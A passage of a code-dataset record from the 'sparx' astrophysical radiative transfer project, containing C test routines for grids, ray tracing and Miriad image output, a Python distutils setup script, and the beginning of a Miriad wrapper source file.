model);\n\t\tSpIO_CloseFile(sfp);\n\t}\n\telse\n\t\tstatus = 1;\n\n\tSpModel_Cleanup(model);\n\tMem_BZERO(&model);\n\n\t/* Load grid from file */\n\tif(!status) {\n\t\tsfp = SpIO_OpenFile(\"zone_test.sparx\", Sp_OLD);\n\t}\n\n\tif(sfp) {\n\t\tSpIO_FreadModel(sfp, &model);\n\t\tSpIO_CloseFile(sfp);\n\n\t\tSpZone_FPRINTF(stdout, model.grid);\n\n\t\tif(model.parms.mol)\n\t\t\tMol_Fprintf(stdout, model.parms.mol);\n\t}\n\n\tSpModel_Cleanup(model);\n\tMem_BZERO(&model);\n\n\treturn status;\n}\n\n#undef NDIV\n#undef NI\n#undef NJ\n#undef NK\n\n/*----------------------------------------------------------------------------*/\n\n#define LEN 100.0\n\nstatic int SpTest_VecInterp(void)\n{\n\tsize_t i, j, NI = 20, NJ = 20;\n\tfloat\n\t\t*mapx = Mem_CALLOC(NI * NJ, mapx),\n\t\t*mapy = Mem_CALLOC(NI * NJ, mapy),\n\t\ttr[6] = {-0.5, 1, 0, -0.5, 0, 1};\n\tGeVec3_d\n\t\ta = GeVec3_INIT(5.0, 4.0, 0.0), \n\t\tb = GeVec3_INIT(-4.0, -1.0, 0.0),\n\t\txa = GeVec3_INIT(0.0, 0.0, 0.0),\n\t\txb = GeVec3_INIT(LEN, LEN, LEN),\n\t\tpos;\n\tGeVec3_d *map = Mem_CALLOC(NI * NJ, map);\n\n\ttr[1] = (float)(LEN / ((double)NI - 1));\n\ttr[5] = (float)(LEN / ((double)NJ - 1));\n\n\t#define MAP(i, j)\\\n\t\tmap[(j) + NI * (i)]\n\n\t#define MAPX(i, j)\\\n\t\tmapx[(j) + NI * (i)]\n\n\t#define MAPY(i, j)\\\n\t\tmapy[(j) + NI * (i)]\n\n\tfor(i = 0; i < NI; i++) {\n\t\tfor(j = 0; j < NJ; j++) {\n\t\t\tGeVec3_X(pos, 0) = GeVec3_X(xa, 0) + (double)i * LEN / ((double)NI - 1);\n\t\t\tGeVec3_X(pos, 1) = GeVec3_X(xa, 1) + (double)j * LEN / ((double)NJ - 1);\n\t\t\tGeVec3_X(pos, 2) = 0.0;\n\n\t\t\tMAP(i, j) = GeVec3_InterpLinear(&xa, &xb, &a, &b, &pos);\n\t\t\tMAPX(i, j) = (float)GeVec3_X(MAP(i, j), 0);\n\t\t\tMAPY(i, j) = (float)GeVec3_X(MAP(i, j), 1);\n\t\t}\n\t}\n\n\tcpgopen(\"/xs\");\n\tCpg_Env(-5.0, LEN + 10.0, -5.0, LEN + 10.0, 1, 0);\n\tCpg_Sch(0.6);\n\tCpg_Vect(mapx, mapy, NI, NJ, 1, NI, 1, NJ, 0.0, 0, tr, HUGE_VAL);\n\tcpgclos();\n\n\tfree(map);\n\tfree(mapx);\n\tfree(mapy);\n\n\t#undef MAP\n\t#undef MAPX\n\t#undef MAPY\n\n\treturn 0;\n}\n\n#undef LEN\n\n/*----------------------------------------------------------------------------*/\n\nstatic int SpTest_Molec(void)\n{\n\tint status = 0;\n\tchar *mname = 0;\n\tMolec *mol = 0;\n\tFILE *fp = 0;\n\tPyObject *o;\n\n\t/* K_MOLE: model.parms.mol */\n\tif(!status && !(o = SpInp_GETKEYSTR(\"molec\")))\n\t\tstatus = 1;\n\tif(!status) {\n\t\tmol = SpIO_FreadMolec(Sp_PYSTR(o));\n\t\tif(!mol)\n\t\t\tstatus = 1;\n\t}\n\tSpPy_XDECREF(o);\n\n\tif(fp)\n\t\tfclose(fp);\n\n\tif(1 && !status)\n\t\tMol_Fprintf(stdout, mol);\n\telse {\n\t\tif(!status) {\n\t\t\tfp = fopen(\"mol_test.mol\", \"wb\");\n\t\t\tMol_FwriteBinary(mol, fp);\n\t\t\tfclose(fp);\n\t\t}\n\n\t\tif(mol) {\n\t\t\tMol_Free(mol);\n\t\t\tmol = 0;\n\t\t}\n\n\t\tif(!status) {\n\t\t\tfp = fopen(\"mol_test.mol\", \"rb\");\n\t\t\tmol = Mol_FreadBinary(fp);\n\t\t\tfclose(fp);\n\t\t\tMol_Fprintf(stdout, mol);\n\t\t}\n\t}\n\n\tif(mol)\n\t\tMol_Free(mol);\n\n\tif(mname)\n\t\tfree(mname);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\n#define NX 128\n#define NY 128\n#define NV 64\n\n#define CRV (NV / 2)\n\nstatic int SpTest_MirImg(void)\n{\n\tdouble deg = PI / 3.14159,\n\t min = deg / 60.0,\n\t sec = min / 60.0;\n\tMirImg_Axis x = MirWr_IMGAXIS(NX, sec, 64.0, 0.0),\n\t\t y = MirWr_IMGAXIS(NY, sec, 64.0, 0.0),\n\t\t v = MirWr_IMGAXIS(NV, 10.0, CRV, 0.0);\n\tMirImg *img;\n\tdouble *cube = Mem_CALLOC(NX * NY * NV, cube);\n\tdouble xx, yy, zz, width = 30;\n\tsize_t i, j, k;\n\tMirFile *fp;\n\n\timg = MirImg_Alloc(x, y, v);\n\n\tfor(i = 0; i < NX; i++) {\n\t\tfor(j = 0; j < NY; j++) {\n\t\t\tfor(k = 0; k < NV; k++) {\n\t\t\t\txx = (double)i - NX / 2.0;\n\t\t\t\tyy = (double)j - NY / 2.0;\n\t\t\t\tzz = (double)k - CRV;\n\t\t\t\tMirImg_PIXEL(*img, k, i, j) = exp(-1.0 * (xx * xx + yy * yy + zz * zz) / (width * width));\n\t\t\t}\n\t\t}\n\t}\n\n\tfp = MirXY_Open_new(\"test.xy\", x.n, y.n, v.n);\n\tMirImg_WriteXY(fp, img, \"K\", 1.0);\n\tMirXY_Close(fp);\n\n\tfree(cube);\n\n\treturn 0;\n}\n\n#undef NX\n#undef NY\n#undef NV\n\n/*----------------------------------------------------------------------------*/\n\nstatic int SpTest_Pkeys(void)\n{\n\tSpInp_PrintKeys();\n\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic int SpTest_Llst(void)\n{\n\tsize_t i;\n\tconst char *strings[] = {\n\t\t\"one\",\n\t\t\"two\",\n\t\t\"three\",\n\t\t\"four\",\n\t\t\"five\",\n\t\t0\n\t};\n\tLNode *list = 0, *lp;\n\tchar *sp;\n\n\tfor(i = 0; strings[i]; i++) {\n\t\tprintf(\"string[%lu]='%s'\\n\", (unsigned long)i, strings[i]);\n\t\tsp = Mem_STRDUP(strings[i]);\n\n\t\tif(1)\n\t\t\tlist = Dat_Llst_Push(list, sp, free);\n\t}\n\n\tprintf(\"iterating through list:\\n\");\n\tfor(lp = list; lp; lp = lp->next) {\n\t\tprintf(\"<%p>: %s->%s\\n\", (void *)lp, lp->name, (char *)lp->value);\n\t}\n\n\tErr_SETSTRING(\"This is a test error condition\");\n\tErr_SETSTRING(\"This is yet another test error condition\");\n\n\tif(Err_Occurred())\n\t\tErr_Fprintf(stderr, Sp_parm.debug);\n\n\tErr_Clear();\n\n\tif(list)\n\t\tDat_Llst_Free(list);\n\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\n#define NDIV ((size_t)2)\n\nstatic int SpTest_RayAW(void)\n{\n\tZone *root = 0, *zp;\n\tGeRay ray, tmp_ray;\n\tGeCam cam;\n\tdouble t, theta, phi;\n\tsize_t plane, i, iter, axis;\n\tint inc;\n\tgsl_rng *rng = gsl_rng_alloc(gsl_rng_ranlux);\n\tGeVec3_s pos;\n\tGeVec3_d pt;\n\n\tgsl_rng_set(rng, (unsigned long)time(NULL));\n\n\t/* Setup grid */\n\troot = SpZone_ALLOC(0);\n\troot->voxel = GeVox_Init(GEOM_REC3D, 0.0, 0.0, 0.0, 0.1, 0.1, 0.1);\n\tSpZone_GROW(root, GeVec3_s_Init(NDIV, NDIV, NDIV), 0);\n\n\t//cam = GeCam_Init(PI/4.0, PI/4.0, PI/4.0);\n\t//cam = GeCam_Init(0.25 * PI, 0.25 * PI, 0.25 * PI);\n\tcam = GeCam_Init(0.0 * PI, 0.0 * PI, 0.0 * PI);\n\n\t//print grid\n\t//SpZone_FPRINTF(stdout, root);\n\n\t/* Setup plot */\n\tcpgopen(\"/xs\");\n\t//GeVox_Cpgenv(&root->voxel);\n\tCpg_Env(-0.2, 0.3, -0.2, 0.3, 1, 0);\n\tZone_Cpgplot(root, &cam);\n\n\tfor(iter = 0; iter < 10; iter++) {\n\t\t/* Start ray 300 pc away */\n\t\tray = GeRay_Init(0.2, 0.0, 0.0, -1.0, 0.0, 0.0);\n\n\t\t/* This samples a random number uniformly in the\n\t\t * interval [0, 1) */\n\t\t#define RAND()\\\n\t\t\tgsl_rng_uniform(rng)\n\t\t/* This samples a random number uniformly in the\n\t\t * interval (0, 1) */\n\t\t#define PRAND()\\\n\t\t\tgsl_rng_uniform_pos(rng)\n\n\t\ttheta = asin(2.0 * PRAND() - 1.0) + 0.5 * PI;\n\t\tphi = (RAND() * TWOPI);\n\n\t\tif(1) {\n\t\t\t/* Rotate phi rad about z axis */\n\t\t\tray = GeRay_Rotate(&ray, 2, phi);\n\n\t\t\t/* Rotate theta rad about y axis */\n\t\t\tray = GeRay_Rotate(&ray, 1, theta);\n\n\t\t\t/* Translate to grid-centric coordinates */\n\t\t\tray.e = GeVec3_Add(&ray.e, &root->voxel.cen);\n\t\t}\n\n\t\t/* Calculate first intersection */\n\t\tif(GeRay_IntersectVoxel(&ray, &root->voxel, &t, &plane)) {\n\t\t\tprintf(\"================================================\\n\");\n\t\t\t/* Draw first arrow */\n\t\t\ttmp_ray = GeRay_Inc(&ray, t);\n\t\t\tGeVec3_Cpgarro2(&ray.e, &tmp_ray.e, &cam);\n\t\t\tcpgupdt();\n\t\t\tDeb_PAUSE();\n\n\t\t\tray = tmp_ray;\n\n\t\t\t/* Locate zone of entry */\n\t\t\tzp = Zone_GetLeaf_rec3d(root, plane, &ray.e);\n\n\t\t\t/* Init ray for AW traversal */\n\t\t\tGeRay_AWInit(&ray, &zp->voxel);\n\t\t\tpos = zp->index;\n\n\t\t\tprintf(\"entering from zone <%lu,%lu,%lu>\\n\", (unsigned long)pos.x[0], (unsigned long)pos.x[1], (unsigned long)pos.x[2]);\n\n\t\t\twhile(zp) {\n\t\t\t\tGeRay_AWTraverse(&ray, &t, &plane);\n\n\t\t\t\tprintf(\"Now in zone <%lu,%lu,%lu>\\n\", (unsigned long)zp->index.x[0], (unsigned long)zp->index.x[1], (unsigned long)zp->index.x[2]);\n\n\t\t\t\tif(1) {\n\t\t\t\t\tprintf(\"t=%g\\n\", t);\n\t\t\t\t\tfor(i = 0; i < 3; i++) {\n\t\t\t\t\t\tprintf(\"tMax[%lu]=%g\\n\", (unsigned long)i, ray.tMax.x[i]);\n\t\t\t\t\t\tprintf(\"tDelta[%lu]=%g\\n\", (unsigned long)i, ray.tDelta.x[i]);\n\t\t\t\t\t}\n\t\t\t\t\tprintf(\"\\n\");\n\t\t\t\t}\n\n\t\t\t\ttmp_ray = GeRay_Inc(&ray, ray.t);\n\n\t\t\t\tGeVec3_Cpgarro2(&ray.e, &tmp_ray.e, &cam);\n\n\t\t\t\tif(1) {\n\t\t\t\t\tzp = Zone_GetNext(zp, plane, &ray);\n\t\t\t\t}\n\t\t\t\telse if(1) {\n\t\t\t\t\tpt = GeRay_AWPos(&ray);\n\t\t\t\t\tzp = Zone_GetNext_rec3d(zp, plane, &pt);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t/* Locate next zone */\n\t\t\t\t\taxis = plane / 2;\n\t\t\t\t\tinc = (plane % 2 == 0) ? -1 : 1;\n\t\t\t\t\t//printf(\"axis=%d, inc=%d\\n\", axis, inc);\n\t\t\t\t\t//\n\t\t\t\t\tprintf(\"moving %d along axis %lu\\n\", inc, (unsigned long)axis);\n\n\t\t\t\t\tif(inc > 0) {\n\t\t\t\t\t\tif(GeVec3_X(pos, axis) == (GeVec3_X(root->naxes, axis) - 1))\n\t\t\t\t\t\t\tzp = NULL;\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tGeVec3_X(pos, axis) += (size_t)inc;\n\t\t\t\t\t\t\tzp = Zone_CHILD(root, pos);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tif(GeVec3_X(pos, axis) == 0)\n\t\t\t\t\t\t\tzp = NULL;\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tGeVec3_X(pos, axis) += (size_t)inc;\n\t\t\t\t\t\t\tzp = Zone_CHILD(root, pos);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif(!zp)\n\t\t\t\t\tprintf(\"exiting from zone <%lu,%lu,%lu>\\n\", (unsigned long)pos.x[0], (unsigned long)pos.x[1], (unsigned long)pos.x[2]);\n\n\t\t\t\tcpgupdt();\n\t\t\t\tDeb_PAUSE();\n\t\t\t}\n\t\t\tprintf(\"================================================\\n\");\n\t\t}\n\t}\n\n\tcpgclos();\n\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic int SpTest_RayTracing(void)\n{\n\tZone *root = 0, *zp;\n\tGeVox voxel = GeVox_INIT(GEOM_REC3D, 0, 0, 0, 10, 10, 10);\n\tGeVec3_s naxes = GeVec3_INIT(NDIV, NDIV, NDIV);\n\tGeVec3_d offset = GeVec3_INIT(5, 5, 5);\n\tGeCam cam;\n\tGeRay ray0 = GeRay_INIT(0, 0, 15, 0, 0, -1), ray1, ray2;\n\tdouble t = 0, theta, phi;\n\tint i;\n\tsize_t plane;\n\tGeVec3_s cidx = GeVec3_INIT(1, 0, 0);\n\tgsl_rng *rng = gsl_rng_alloc(gsl_rng_ranlux);\n\n\t/* Init rng */\n\tgsl_rng_set(rng, (unsigned long)time(NULL));\n\n\t/* Allocate root zone */\n\troot = Zone_Alloc(0, NULL, 0, 0);\n\troot->voxel = voxel;\n\n\t/* Grow L0 grid */\n\tif(1)\n\t\tZone_GrowChildren(root, naxes, 0, 0);\n\n\t/* Grow L1 grid */\n\tif(1)\n\t\tZone_GrowChildren(Zone_CHILD(root, cidx), naxes, 0, 0);\n\n\t/* Print to stdout */\n\tif(0)\n\t\tZone_Fprintf(stdout, root, 0);\n\n\t/* Setup plot device on X-server */\n\tcpgopen(\"/xs\");\n\n\tif(0)\n\t\tGeVox_Cpgenv(&root->voxel);\n\telse\n\t\tCpg_Env(-15.0, 25.0, -15.0, 25.0, 1, 0);\n\n\t/* Setup camera */\n\tif(1)\n\t\tcam = GeCam_Init(0.0, PI/4.0, PI/4.0);\n\telse\n\t\tcam = GeCam_Init(0.0, 0.0, 0.0);\n\n\t/* Plot grid */\n\tif(1)\n\t\tZone_Cpgplot(root, &cam);\n\n\t#define NRAY 1000\n\n\tfor(i = 0; i < NRAY; i++) {\n\t\t/* This samples a random number uniformly in the\n\t\t * interval [0, 1) */\n\t\t#define RAND()\\\n\t\t\tgsl_rng_uniform(rng)\n\t\t/* This samples a random number uniformly in the\n\t\t * interval (0, 1) */\n\t\t#define PRAND()\\\n\t\t\tgsl_rng_uniform_pos(rng)\n\n\t\ttheta = PRAND() * PI;\n\t\tphi = RAND() * TWOPI;\n\n\t\t/* debug */\n\t\tif(0) Deb_PRINT(\"i=%d\\n\", i);\n\n\t\t/* For every single ray, there *must* be two intersections with the voxel */\n\t\t/* Reset ray */\n\t\tray1 = ray0;\n\n\t\t/* Rotate theta rad about y axis */\n\t\tray1 = GeRay_Rotate(&ray1, 0, theta);\n\n\t\t/* Rotate phi rad about z axis */\n\t\tray1 = GeRay_Rotate(&ray1, 2, phi);\n\n\t\t/* Translate to grid-centric coordinates */\n\t\tray1.e = GeVec3_Add(&ray1.e, &offset);\n\n\t\tif(0) { GeVec3_Cpgpt1(&ray1.e, 0, &cam); continue; }\n\n\t\t/* Test for intersection with root zone */\n\t\tif(GeRay_IntersectVoxel(&ray1, &root->voxel, &t, &plane)) {\n\t\t\t/* GeRay hits root zone, locate starting leaf zone for traversal. */\n\t\t\tray2 = GeRay_Inc(&ray1, t);\n\t\t\tzp = Zone_GetLeaf_rec3d(root, plane, &ray2.e);\n\n\t\t\tif(0) {\n\t\t\t\tDeb_PRINT(\"starting from leaf: [level %d] \", zp->level);\n\t\t\t\tGeVec3_PRINT(stdout, zp->index);\n\t\t\t\tprintf(\"\\n\");\n\t\t\t}\n\n\t\t\tif(1) GeVec3_Cpgarro2(&ray1.e, &ray2.e, &cam);\n\t\t\tif(0) { cpgupdt(); Deb_PAUSE(); }\n\n\t\t\twhile(zp) {\n\t\t\t\tif(0) {\n\t\t\t\t\tDeb_PRINT(\"Traversing zone: [level %d] \", zp->level);\n\t\t\t\t\tGeVec3_PRINT(stdout, zp->index);\n\t\t\t\t\tprintf(\"\\n\");\n\t\t\t\t}\n\n\t\t\t\t/* Put ray1 at starting position */\n\t\t\t\tray1 = ray2;\n\n\t\t\t\t/* Calculate path to next boundary */\n\t\t\t\tGeRay_TraverseVoxel(&ray1, &zp->voxel, &t, &plane);\n\n\t\t\t\t/* Calculate next ray */\n\t\t\t\tray2 = GeRay_Inc(&ray1, t);\n\n\t\t\t\tif(1) GeVec3_Cpgarro2(&ray1.e, &ray2.e, &cam);\n\t\t\t\tif(0) { cpgupdt(); Deb_PAUSE(); }\n\n\t\t\t\t/* Get next zone to traverse to */\n\t\t\t\tzp = Zone_GetNext_rec3d(zp, plane, &ray2.e);\n\t\t\t}\n\t\t}\n\t\telse if(1) {\n\t\t\tfprintf(stderr, \"GAR GAR GAR!!! NO INTERSECTION!!!\\n\");\n\t\t\texit(1);\n\t\t}\n\n\t\tif(0) {\n\t\t\tcpgupdt();\n\t\t\tDeb_PAUSE();\n\t\t}\n\t}\n\n\t/* Close device */\n\tcpgclos();\n\n\tZone_Free(root, 0);\n\n\n\treturn 0;\n}\n\n" }, { "alpha_fraction": 0.6550273299217224, "alphanum_fraction": 0.662740170955658, "avg_line_length": 22.996633529663086, "blob_id": "d97ea3b0643272169ac2a479f9a94116c8f14418", "content_id": "59a3be89f5790d3216d7b0df93588861495d974c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7131, "license_type": "no_license", "max_line_length": 113, "num_lines": 297, "path": "/setup.py", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\n# Python Distutils setup script for SPARX\n\nimport subprocess\nprocess = subprocess.Popen('git rev-parse --abbrev-ref HEAD', stdout=subprocess.PIPE, shell=True)\nout, err = process.communicate()\ngit_branch = out.strip()\n\n##\n## Gather information for setting up the package\n##\n# Some necessary imports\nimport os, glob\nfrom os.path import exists, realpath, expanduser\n\n# Get Python paths\nimport sys\nPYINC = sys.prefix+\"/include\"\nPYLIB = sys.prefix+\"/lib\"\nif not (exists(PYINC) and exists(PYLIB)):\n\traise Exception, \"Cannot locate Python include and lib directories\"\n\n# Get NumPy paths\nimport numpy\nNPINC = numpy.get_include()\n\n# Get Miriad paths\nMIRINC = os.getenv(\"MIRINC\")\nMIRLIB = os.getenv(\"MIRLIB\")\nif not (MIRINC and MIRLIB):\n\traise Exception, \"MIRIAD environment variables not present, cannot locate Miriad headers or libraries\"\nMIRINC1 = realpath(MIRINC+\"/../pgplot-miriad-remix\")\nMIRINC2 = realpath(MIRINC+\"/../miriad-c\")\nif not (exists(MIRINC1) and exists(MIRINC2)):\n\traise Exception, \"MIRIAD include paths '%s' and '%s' not present, cannot continue\"%(MIRINC1, MIRINC2)\n\n# Test for MPI by checking whether mpicc can be called\nfrom subprocess import call, Popen, PIPE\nHAVE_MPI = (call(\"mpicc src/mpi-test.c -o/tmp/a.out\", shell=True, stdout=PIPE, stderr=PIPE) == 0)\n\n# Get git branch and update VERSION\nimport time\nimport sys\nver_str = \"{0} ({1}, Python {2[0]}.{2[1]}.{2[2]})\".format(git_branch, time.asctime(), sys.version_info)\nfo = file(\"lib/sparx/VERSION\", \"w\")\nfo.write(ver_str)\nfo.close()\n\n# Check for additional search paths specified by user\nUSER_INCLUDE = []\nUSER_LIB = []\nargs = sys.argv[:]\nmpi_libs = []\nmpi_home = ''\nnthread = 1\nfor arg in args:\n\tif arg.find('--with-include=') == 0:\n\t\tUSER_INCLUDE += [expanduser(arg.split('=')[1])]\n\t\tsys.argv.remove(arg)\n\telif arg.find('--with-lib=') == 0:\n\t\tUSER_LIB += [expanduser(arg.split('=')[1])]\n\t\tsys.argv.remove(arg)\n\telif arg.find('--no-mpi') == 0:\n\t\tHAVE_MPI = False\n\t\tsys.argv.remove(arg)\n\telif arg.find('--lam') == 0:\n\t\tmpi_libs = ['lammpio', 'mpi', 'lam']\n\t\tsys.argv.remove(arg)\n\telif arg.find('--ompi') == 0:\n\t\tmpi_libs = ['mpi', 'dl', 'm', 'rt', 'nsl', 'util', 'm', 'dl']\n\t\tsys.argv.remove(arg)\n\telif arg.find('--mpich') == 0:\n\t\t#mpi_libs = ['mpich', 'pgc', 'pgftnrtl', 'pgftnrtl', 'nspgc', 'pgc', 'rt']\n\t\t#mpi_libs = ['mpich']\n\t\tmpi_libs = ['mpich', 'mpl', 'opa']\n\t\tsys.argv.remove(arg)\n\telif arg.find('--with-mpi=') == 0:\n\t\tmpi_home = expanduser(arg.split('=')[1])\n\t\tsys.argv.remove(arg)\n\telif arg.find('--nthread=') == 0:\n\t\tnthread = expanduser(arg.split('=')[1])\n\t\tsys.argv.remove(arg)\n\n\nif not HAVE_MPI:\n\tprint\\\n'''\n\n\n\nNO MPI SUPPORT!\n\n\n\n'''\nelse:\n\tprint\\\n'''\n\n\n\nMPI support available\n\n\n\n'''\n\n# Compiler flags\ncompiler_flags = [\n '-fdiagnostics-show-option',\n\t'-std=c99',\n\t#'-pedantic',\n\t'-fshort-enums',\n\t'-fno-common',\n\t'-Dinline=',\n\t'-g',\n\t'-rdynamic',\n\t'-O0',\n\t'-pthread',\n\t'-Werror',\n\t'-Wall',\n\t'-W',\n\t#'-Wl,-E',\n\t#'-Wl,--export-dynamic',\n\t'-Wmissing-prototypes',\n\t'-Wstrict-prototypes',\n\t'-Wpointer-arith',\n\t#'-Wcast-qual',\n\t'-Wcast-align',\n\t'-Wwrite-strings',\n\t'-Wnested-externs',\n '-DNPY_NO_DEPRECATED_API=NPY_1_7_API_VERSION',\n '-Wno-unused-function',\n '-DDeb_EN=1',\n]\n\n# Define macros\nmacros = [\n\t('NTHREAD', nthread),\n]\n\n# Header directories\nheader_dirs = [\n\t'src',\n\tPYINC,\n\tNPINC,\n\tMIRINC1,\n\tMIRINC2,\n]+USER_INCLUDE\n\n# Library directories\nlib_dirs = [\n\tPYLIB,\n\tMIRLIB,\n]+USER_LIB\n\n# Libraries to link to\nlibs = [\n\t'X11',\n\t'm',\n\t'gsl',\n\t'gslcblas',\n\t'fftw3',\n\t'hdf5',\n\t'hdf5_hl',\n\t'cpgplot',\n\t'pgplot',\n\t'mir',\n\t'mir_uvio',\n\t'mir_linpack'\n]\n\n# Base source files\nsources_base = [\n\t'src/cpgplot-wrappers.c',\n\t'src/data_structs.c',\n\t'src/debug.c',\n\t'src/error.c',\n\t'src/geometry.c',\n\t'src/kappa.c',\n\t'src/memory.c',\n\t'src/miriad-wrappers.c',\n\t'src/molec.c',\n\t'src/numerical.c',\n\t'src/physics.c',\n\t'src/python-wrappers.c',\n\t'src/zone.c',\n\t'src/zone-hdf5.c'\n]\n\n# Base dependencies\ndepends_base = [\n\t'src/cpgplot-wrappers.h',\n\t'src/data_structs.h',\n\t'src/debug.h',\n\t'src/error.h',\n\t'src/geometry.h',\n\t'src/kappa.h',\n\t'src/memory.h',\n\t'src/miriad-wrappers.h',\n\t'src/molec.h',\n\t'src/numerical.h',\n\t'src/physics.h',\n\t'src/python-wrappers.h',\n\t'src/zone.h',\n\t'src/zone-hdf5.h',\n]\n\n# SPARX sources files\nsources_sparx = [\n\t'src/sparx-python.c',\n\t'src/sparx-test.c',\n\t'src/sparx-model.c',\n\t'src/sparx-physics.c',\n\t'src/sparx-inputs.c',\n\t'src/sparx-io.c',\n\t'src/sparx-utils.c',\n]\n\n# SPARX dependencies\ndepends_sparx = ['src/sparx.h']\n\n##\n## Distutils setup\n##\nfrom distutils.core import setup, Extension\nfrom distutils import ccompiler, unixccompiler\n\n# Things to include if MPI is available\nif HAVE_MPI:\n\tmacros += [('HAVE_MPI', None)]\n\tlibs += mpi_libs\n\t#libs += ['lammpio', 'mpi', 'lam']\n\t#libs += ['mpich', 'pgc', 'pgftnrtl', 'pgftnrtl', 'nspgc', 'pgc', 'rt']\n\t#import os\n\t#os.environ['CC'] = \"mpicc\"\n\n# Definition for the _sparx extension module\next_sparx = Extension('sparx._sparx',\n\tsources = sources_base+sources_sparx+[\n\t\t'src/_sparx.c',\n\t\t'src/_sparx-unittests.c',\n\t\t'src/sparx-task-amc.c',\n\t\t'src/sparx-task-telsim.c',\n\t\t'src/sparx-task-pygrid.c',\n\t\t'src/sparx-task-template.c',\n\t\t'src/sparx-task-dumpmodel.c'\n\t],\n\textra_objects = [\n\t\t#mpi_home+'/lib/libmpich.so',\n\t\t#mpi_home+'/lib/libmpl.so',\n\t\t#mpi_home+'/lib/libopa.so'\n\t],\n\tdepends = ['setup.py']+depends_base+depends_sparx,\n\textra_compile_args = compiler_flags,\n\tdefine_macros = macros,\n\tinclude_dirs = header_dirs,\n\tlibrary_dirs = lib_dirs,\n\tlibraries = libs\n)\n\n# The main setup call\nsetup(\n\tname = 'sparx',\n\tversion = git_branch,\n\tauthor = 'Eric Chung',\n\tauthor_email = '[email protected]',\n\turl = 'http://esclab.tw/wiki/index.php/Category:SPARX',\n\tdescription = 'SPARX Platform for Astrophysical Radiative Xfer',\n\tpackages = ['sparx'],\n\tpackage_dir = {'sparx': \"lib/sparx\"},\n\tpackage_data = {'sparx': [\n\t\t'data/molec/*.dat', # Molecular data files\n\t\t'data/opacity/*.tab', # Opacity data files\n\t\t'VERSION', # Program version\n\t]},\n\text_modules = [ext_sparx],\n\tscripts = [\n\t\t'bin/sparx', # Main sparx command line driver\n\t\t'bin/sparx-plot', # Model plotter\n\t\t'bin/sparx-plot2', # Model plotter\n\t\t'bin/sparx-validate-dust', # Script for validating dust radiative transfer\n\t\t'bin/sparx-validate-line', # Script for validating line radiative transfer\n\t\t'bin/sparx-validate-leiden', # Script for validating with the Leiden 2004 benchmark problems\n\t\t'bin/sparx-gengrid-leiden-ratran', # Script for generating ratran models for the Leiden 2004 benchmark problems\n\t\t'bin/sparx-get-statistics-sparxh5', # Script for gathering statistics from sparxh5 files\n\t\t'bin/sparx-get-statistics-amcpop', # Script for gathering statistics from sparxh5 files\n\t\t'bin/sparx-get-statistics-mirimage', # Script for gathering statistics from Miriad images\n\t\t'bin/sparx-t_test', # Script for doing t-test\n\t\t'bin/repeat_exp_with_tokens', # Repeat experiment with tokens to control resources\n\t\t'bin/ratran-validate-leiden', # Run Leiden water problems with Ratran\n\t\t'bin/ratran-validate-leiden-lvg', # Run Leiden water problems with Ratran\n\t\t'bin/sparx-t_test-plot', # Run Leiden water problems with Ratran\n\t\t'bin/sparx-unittest', # \n\t\t'bin/sparx-regress', # Run regressions\n\t],\n)\n\n\n\n\n" }, { "alpha_fraction": 0.482328861951828, "alphanum_fraction": 0.4948374032974243, "avg_line_length": 26.895938873291016, "blob_id": "d725c271ba02219b65b7dce13bc887a195ce0364", "content_id": "b547d6062106b8eaa59a9b6e1fca174697a814fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 21985, "license_type": "no_license", "max_line_length": 103, "num_lines": 788, "path": "/src/miriad-wrappers.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "/*\n * Wrapper routines for accessing Miriad datasets\n * All functions must begin with the prefix `MirWr'\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <math.h>\n#include <maxdimc.h> /* The Miriad header for defining special dimensions */\n#include <miriad.h>\n\n#include \"physics.h\"\n#include \"numerical.h\"\n#include \"memory.h\"\n#include \"miriad-wrappers.h\"\n#include \"debug.h\"\n\n/*----------------------------------------------------------------------------*/\n\nMirVar *MirVar_ListLookup(MirVar vars[], const char *name)\n{\n\tint i;\n\n\tfor(i = 0; vars[i].name; i++) {\n\t\tif(!strcmp(vars[i].name, name))\n\t\t\treturn &vars[i];\n\t}\n\n\treturn NULL;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid MirVar_ListRead(MirVar vars[], MirFile *fp)\n{\n\tsize_t i;\n\tchar sbuff[BUFSIZ] = \"\";\n\n\tfor(i = 0; vars[i].name; i++) {\n\t\tswitch(vars[i].type) {\n\t\t\tcase 'a':\n\t\t\t\tuvgetvra_c(fp->tno, vars[i].name, sbuff, BUFSIZ);\n\t\t\t\tvars[i].value = Mem_STRDUP(sbuff);\n\t\t\t\tbreak;\n\n\t\t\tcase 'j':\n\t\t\t\tvars[i].value = Mem_CALLOC2(vars[i].n, sizeof(int));\n\t\t\t\tuvgetvrj_c(fp->tno, vars[i].name, vars[i].value, vars[i].n);\n\t\t\t\tbreak;\n\n\t\t\tcase 'i':\n\t\t\t\tvars[i].value = Mem_CALLOC2(vars[i].n, sizeof(int));\n\t\t\t\tuvgetvri_c(fp->tno, vars[i].name, vars[i].value, vars[i].n);\n\t\t\t\tbreak;\n\n\t\t\tcase 'r':\n\t\t\t\tvars[i].value = Mem_CALLOC2(vars[i].n, sizeof(float));\n\t\t\t\tuvgetvrr_c(fp->tno, vars[i].name, vars[i].value, vars[i].n);\n\t\t\t\tbreak;\n\n\t\t\tcase 'd':\n\t\t\t\tvars[i].value = Mem_CALLOC2(vars[i].n, sizeof(double));\n\t\t\t\tuvgetvrd_c(fp->tno, vars[i].name, vars[i].value, vars[i].n);\n\t\t\t\tbreak;\n\n\t\t\tcase 'c':\n\t\t\t\tvars[i].value = 